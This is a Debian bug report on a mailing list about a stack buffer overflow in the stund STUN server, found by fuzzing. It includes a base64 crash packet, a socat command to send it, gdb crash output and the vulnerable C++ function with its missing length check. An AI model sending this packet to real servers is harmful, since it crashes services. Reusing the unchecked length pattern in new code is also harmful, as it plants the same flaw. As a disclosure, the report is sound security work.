Bug#1003720: stund: buffer overflow parsing error attribute

Yann Droneaud ydroneaud at opteya.com
Fri Jan 14 09:12:19 GMT 2022


Package: stun-server
Version: 0.97~dfsg-2.1+b1
Severity: normal
Tags: upstream

Dear Maintainer,

Through fuzzing with AFL++, a STUN request triggering a buffer overflow
was found.

One UDP datagram that triggers the buffer overflow is:

    $ echo EAAAEAEAAAEAAImJiYmJiYmJiQAACQAAAAAAAAAAAAAAAAEA | base64 -d | hexdump -C
    00000000  10 00 00 10 01 00 00 01  00 00 89 89 89 89 89 89  |................|
    00000010  89 89 89 00 00 09 00 00  00 00 00 00 00 00 00 00  |................|
    00000020  00 00 01 00                                       |....|
    00000024

The packet can be sent with:

    $ echo EAAAEAEAAAEAAImJiYmJiYmJiQAACQAAAAAAAAAAAAAAAAEA | base64 -d | socat - UDP-DATAGRAM:10.0.2.15:3478

On x86_64, stund crashes, not due to the buffer overflow itself, but
because memcpy() is trying to read after the stack:

    $ gdb /usr/sbin/stund
    (gdb) run -v -h 10.0.2.15
    Starting program: /usr/sbin/stund -v -h 10.0.2.15
    STUN server version 0.97
    If your machine does not have exactly two ethernet interfaces, you must specify the server and alt server
    Running with on interface 10.0.2.15:3478 with alternate 0.0.0.0:3479
    Warning - no alternate ip address STUN will not work
    Binding to interface 0xf02000a
    Opened port 3478 with fd 3
    Binding to interface 0xf02000a
    Opened port 3479 with fd 4
    received on A1:P1
    Got a request (len=36) from 10.0.2.15:47185
    Received stun message: 36 bytes

    Program received signal SIGSEGV, Segmentation fault.
    __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:262
    262	../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
    (gdb) bt
    #0  __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:262
    #1  0x0000555555557bab in memcpy (__len=65532, __src=0x7fffffffa24c, __dest=0x7fffffff986e) at /usr/include/x86_64-linux-gnu/bits/string3.h:53
    #2  stunParseAtrError (result=..., hdrLen=0, body=0x7fffffffa24c "\375\367\377\177") at stun.cxx:114
    #3  stunParseMessage (buf=buf at entry=0x7fffffffa230 "", bufLen=<optimized out>, msg=..., verbose=verbose at entry=true) at stun.cxx:344
    #4  0x000055555555958f in stunServerProcessMsg (buf=0x7fffffffa230 "", bufLen=<optimized out>, from=..., secondary=..., myAddr=..., altAddr=..., 
        resp=<optimized out>, destination=<optimized out>, hmacPassword=<optimized out>, changePort=<optimized out>, changeIp=<optimized out>, 
        verbose=<optimized out>) at stun.cxx:1040
    #5  0x0000000000000000 in ?? ()

    (gdb) disassemble
    Dump of assembler code for function __memmove_avx_unaligned_erms:
    [...]
       0x00007ffff7c316fc <+76>:	mov    %rdx,%rcx
    => 0x00007ffff7c316ff <+79>:	rep movsb %ds:(%rsi),%es:(%rdi)

    (gdb) info registers
    [...]
    rcx            0xb248              45640
    rdx            0xfffc              65532
    rsi            0x7ffffffff000      140737488351232
    rdi            0x7fffffffe622      140737488348706
    rbp            0x7fffffff95f0      0x7fffffff95f0
    rsp            0x7fffffff94e8      0x7fffffff94e8

    (gdb) p $_siginfo._sifields._sigfault.si_addr
    $5 = (void *) 0x7ffffffff000

    (gdb) info proc mappings
    process 25711
    Mapped address spaces:

              Start Addr           End Addr       Size     Offset objfile
    [...]
          0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]

The problem is found in stunParseAtrError() in stun.cxx:

     98 static bool 
     99 stunParseAtrError( char* body, unsigned int hdrLen,  StunAtrError& result )
    100 {
    101    if ( hdrLen >= sizeof(result) )
    102    {
    103       clog << "head on Error too large" << endl;
    104       return false;
    105    }
    106    else
    107    {
    108       memcpy(&result.pad, body, 2); body+=2;
    109       result.pad = ntohs(result.pad);
    110       result.errorClass = *body++;
    111       result.number = *body++;
    112                 
    113       result.sizeReason = hdrLen - 4;
    114       memcpy(&result.reason, body, result.sizeReason);
    115       result.reason[result.sizeReason] = 0;
    116       return true;
    117    }
    118 }

    hdrLen is not checked for being at least 4, thus resulting in
    result.sizeReason being greater than the result.reason size
    for any hdrLen < 0.

Remark:

    There doesn't seems to be any remote code execution possible
    as stun-server is compiled with -fstack-protector-strong, thus,
    even if stack depth was greater, allowing memcpy() to complete
    the buffer overflow, it would still trigger stack protector in
    stunServerProcessMsg().

-- System Information:
Debian Release: 10.9
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-debug'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.19.0-16-amd64 (SMP w/2 CPU cores)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE=fr_FR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages stun-server depends on:
ii  libc6       2.28-10
ii  libgcc1     1:8.3.0-6
ii  libstdc++6  8.3.0-6

Versions of packages stun-server recommends:
ii  stun-client  0.97~dfsg-2.1+b1

stun-server suggests no packages.

-- no debconf information



More information about the Pkg-voip-maintainers mailing list